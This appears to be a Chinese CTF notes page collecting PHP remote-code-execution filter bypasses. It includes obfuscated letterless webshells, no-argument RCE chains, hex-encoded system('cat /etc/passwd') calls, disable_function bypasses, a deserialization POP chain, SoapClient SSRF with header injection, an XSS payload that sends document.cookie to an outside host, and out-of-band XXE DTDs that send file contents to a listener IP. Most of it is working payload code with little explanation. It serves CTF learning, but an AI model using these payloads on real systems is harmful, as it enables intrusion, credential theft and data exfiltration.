自增(PHP=5) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php $_ =[];$_ =@"$_ " ; $_ =$_ ['!' =='@' ]; $___ =$_ ; $__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ; $___ .=$__ ; $__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$____ ='_' ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$_ =$$____ ;$___ ($_ [_]);
1 ?shell=$_ =('%01' ^'`' ).('%13' ^'`' ).('%13' ^'`' ).('%05' ^'`' ).('%12' ^'`' ).('%14' ^'`' ); $__ ='_' .('%0D' ^']' ).('%2F' ^'`' ).('%0E' ^']' ).('%09' ^']' );$___ =$$__ ;$_ ($___ [_]);
无数字字母 system 上传临时文件,然后执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > 命令执行-upload</title > </head > <body > <form action ="https://8b8486a3-6e53-472e-9acb-a96c6b6ab23b.challenge.ctf.show/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 选择文件:</label > <input type ="file" name ="file" /> <input type ="submit" value ="Upload" /> </form > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /?c=.%20/???/????????[@-[] HTTP/1.1 Host : 8b8486a3-6e53-472e-9acb-a96c6b6ab23b.challenge.ctf.showUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : multipart/form-data; boundary=----geckoformboundary7e85db62d4236557bbc2a910f7edb9b9Content-Length : 233Origin : http://127.0.0.1Referer : http://127.0.0.1/Upgrade-Insecure-Requests : 1Sec-Fetch-Dest : documentSec-Fetch-Mode : navigateSec-Fetch-Site : cross-siteSec-Fetch-User : ?1Priority : u=0, iTe : trailersConnection : keep-aliveContent-Disposition: form-data; name ="file"; filename="1.txt" Content-Type : text /plain #/bin/sh cat flag.php
无引号 1 2 3 4 var_dump (scandir (chr (47 )));var_dump (file_get_contents (chr (47 ).chr (102 ).chr (108 ).chr (97 ).chr (103 ).chr (95 ).chr (49 ).chr (115 ).chr (95 ).chr (104 ).chr (101 ).chr (114 ).chr (101 ).chr (47 ).chr (102 ).chr (108 ).chr (97 ).chr (103 ).chr (95 ).chr (56 ).chr (51 ).chr (49 ).chr (98 ).chr (54 ).chr (57 ).chr (48 ).chr (49 ).chr (50 ).chr (99 ).chr (54 ).chr (55 ).chr (98 ).chr (51 ).chr (53 ).chr (102 ).chr (46 ).chr (112 ).chr (104 ).chr (112 )));readfile (implode (array (chr (47 ),chr (102 ),chr (108 ),chr (97 ),chr (103 ))));
无参 无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客
顾名思义,调用函数的时候内部参数只能是函数,而不能有参数。
1 2 3 4 5 6 7 8 9 10 11 12 var_dump (scandir (current (localeconv ()))); print_r (scandir (next (scandir (getcwd ()))))highligth_file (next (array_reverse (scandir (current (localeconv ())))));var_dump (end (getallheaders ()));a=eval (end (current (get_defined_vars ())));&b=system ('ls /' ); ?b=system ("tac flag.php" );&c=eval (pos (pos (get_defined_vars ()))); eval (hex2bin (session_id (session_start ())));?code=eval (reset (array_reverse (current (get_defined_vars ()))));&b=system ("cat%20flag.php" );
短标签特性
过滤引号和所有读文件(PHP<8) 仅对 PHP<8,PHP版本变高后必须加引号才能被识别为 str。
1 echo (bin2hex ("system('cat /etc/passwd');" ));
1 2 3 4 php -r eval (hex2bin(substr(_刚才的内,1))) 加 _ 又去掉的原因:把16进制加上 _ 会识别为str 而不是数。 php -r eval (hex2bin(substr(_73797374656d2827636174202f6574632f70617373776427293b,1)));
过滤除了进制转换函数外的所有字母 2024ciscn初赛WP - “我不是二次元!”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 //_GET=hex2bin(5f474554) hex2bin 函数把十六进制值的字符串转换为 ASCII 字符 //5f474554=dechex(1598506324) //hex2bin将hex2bin看作是一个36进制数,用10制转换来表示该36进制数 //base_convert()函数将10进制数转化为36进制的hex2bin //dechex --> 将10进制数转换为16进制,使得16进制数能够逃逸 $pi=base_convert(37907361743,10,36)//代替 hex2bin (dechex(1598506324)); ($$pi){pi}(($$pi){cos}) &pi=system&cos=cat /flag
存在 disable_function
蚁剑插件绕过
同义函数替代
读文件:file_get_contents() / highlight_file() / show_source() / readfile() / readgzfile() / print_r(file()) = include() 非php文件 = require() 非php文件
原生类 SplFileObject 读取文件后返回第一行,可以配合伪协议过滤读出。
1 2 3 4 5 <?php $a = new SplFileObject("php://filter/read=convert.base64-encode/resource=F.php"); echo $a; echo base64_decode($a);
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php error_reporting (0 );highlight_file (__FILE__ );class teacher { public $name ; public $rank ; private $salary ; public function __construct ($name ,$rank ,$salary = 10000 ) { $this ->name = $name ; $this ->rank = $rank ; $this ->salary = $salary ; } } class classroom { public $name ; public $leader ; public function __construct ($name ,$leader ) { $this ->name = $name ; $this ->leader = $leader ; } public function hahaha ( ) { if ($this ->name != 'one class' or $this ->leader->name != 'ing' or $this ->leader->rank !='department' ){ return False; } else { return True; } } } class school { public $department ; public $headmaster ; public function __construct ($department ,$ceo ) { $this ->department = $department ; $this ->headmaster = $ceo ; } public function IPO ( ) { if ($this ->headmaster == 'ong' ){ echo "Pretty Good ! Ctfer!\n" ; echo new $_POST ['a' ]($_POST ['b' ]); } } public function __wakeup ( ) { if ($this ->department->hahaha ()) { $this ->IPO (); } } } if (isset ($_GET ['d' ])){ unserialize (base64_decode ($_GET ['d' ])); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php class teacher { public $name ; public $rank ; private $salary ; public function __construct ($name ,$rank ,$salary = 10000 ) { $this ->name = $name ; $this ->rank = $rank ; $this ->salary = $salary ; } } class classroom { public $name ; public $leader ; public function __construct ($name ,$leader ) { $this ->name = $name ; $this ->leader = $leader ; } public function hahaha ( ) { if ($this ->name != 'one class' or $this ->leader->name != 'ing' or $this ->leader->rank !='department' ){ return False; } else { return True; } } } class school { public $department ; public $headmaster ; public function __construct ($department ,$ceo ) { $this ->department = $department ; $this ->headmaster = $ceo ; } public function IPO ( ) { if ($this ->headmaster == 'ong' ){ echo "Pretty Good ! Ctfer!\n" ; echo new $_POST ['a' ]($_POST ['b' ]); } } public function __wakeup ( ) { if ($this ->department->hahaha ()) { $this ->IPO (); } } } $L = new teacher ("ing" ,'department' ,1000 );$D = new classroom ('one class' ,$L );$a = new school ($D ,"ong" );$S = base64_encode (serialize ($a ));echo $S ;
GlobIterator,DirectoryIterator,FilesystemIterator 遍历文件目录。
1 $a = new GlobIterator ("/*" );foreach ($a as $f ){echo ($f ->__toString ().'<br>' );}
1 $a = new FilesystemIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().'<br>' );}
1 2 3 4 $iterator = new DirectoryIterator ('C:\\' );echo $iterator ->getPathname ();?> $a = new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().'<br>' );}
1 2 3 4 <?php $a = new DirectoryIterator ("glob:///*f*" );echo $a ;
SoapClient 该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。
cftshow 259
1 2 3 4 5 6 7 8 9 <?php $ua ="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow" ;$client =new SoapClient (null ,array ('uri' =>'127.0.0.1' ,'location' =>'http://127.0.0.1:9999/flag.php' ,'user_agent' =>$ua ));$client ->AAA ();?>
记得修改 Content-Length 使得下面失效。
直接传进去就行。
ZipArchive 主要利用的是ZipArchive::open ,写入文件,把模式改成 overwrite 删除文件。
1 2 3 4 <?php $a = new ZipArchive ();$a -> open ("1.txt" , ZipArchive ::OVERWRITE );$a -> open ("1.txt" , 8 );
Error,Exception:XSS/Hash XSS Error:php7,定义一个 error 类,当反序列化的 object 被当作字符串调用,触发 _tostring。
1 2 3 4 5 6 7 8 <?php $a =new Error ("<script>alert('xss')</script>" );echo urlencode (serialize ($a ));<?php $a =new Exception ('<script>window.open("http://9f5ea2b6-a58d-4d22-82c7-eeb923f3d9a6.node5.buuoj.cn:81/"+document.cookie)</script>' );echo urlencode (serialize ($a ));
Exception:php5,其他同理。
哈希 1 2 3 4 <?php $a = new Error("payload",1);$b = new Error("payload",2); echo $a; echo $b;
ReflectionFunctionAbstract ReflectionFunctionAbstract::getDocComment(),获取类中各个函数注释内容
1 2 3 4 5 6 7 8 9 10 11 <?php class Flag { public function givemeflag ( ) { return 123 ; } } $a =new ReflectionMethod ('Flag' ,'givemeflag' );echo $a ->getDocComment ();
SimpleXMLElement 这个类 construct 的时候可以访问 xml 并带出文件内容。
evl.xml
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE try [ <!ENTITY % int SYSTEM "http://192.168.42.128:1234/send.xml" > %int; %all; %send; ]>
send.xml
1 2 <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=test.php" > <!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.42.128:1234/?%payl;'>" >
flag.php
1 2 <?php $a = new SimpleXMLElement ("http://192.168.42.128:1234/evl.xml" ,2 ,true );
当服务器访问时,先加载正常的 xml 文件,然后在跳板到 DTD 代码中执行具体操作。最后解码日志,得到文件具体内容。
ReflectionClass 查看类的信息,用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class A { public function hello ( ) { echo "qwq" ; } } ReflectionClass ::export ('A' );$a = new ReflectionClass ("A" );echo $a ;
Closure 一个可以调任意函数的类。
1 Closure ::fromCallable ("system" )("whoami" );
反序列化 详见 PHP 反序列化。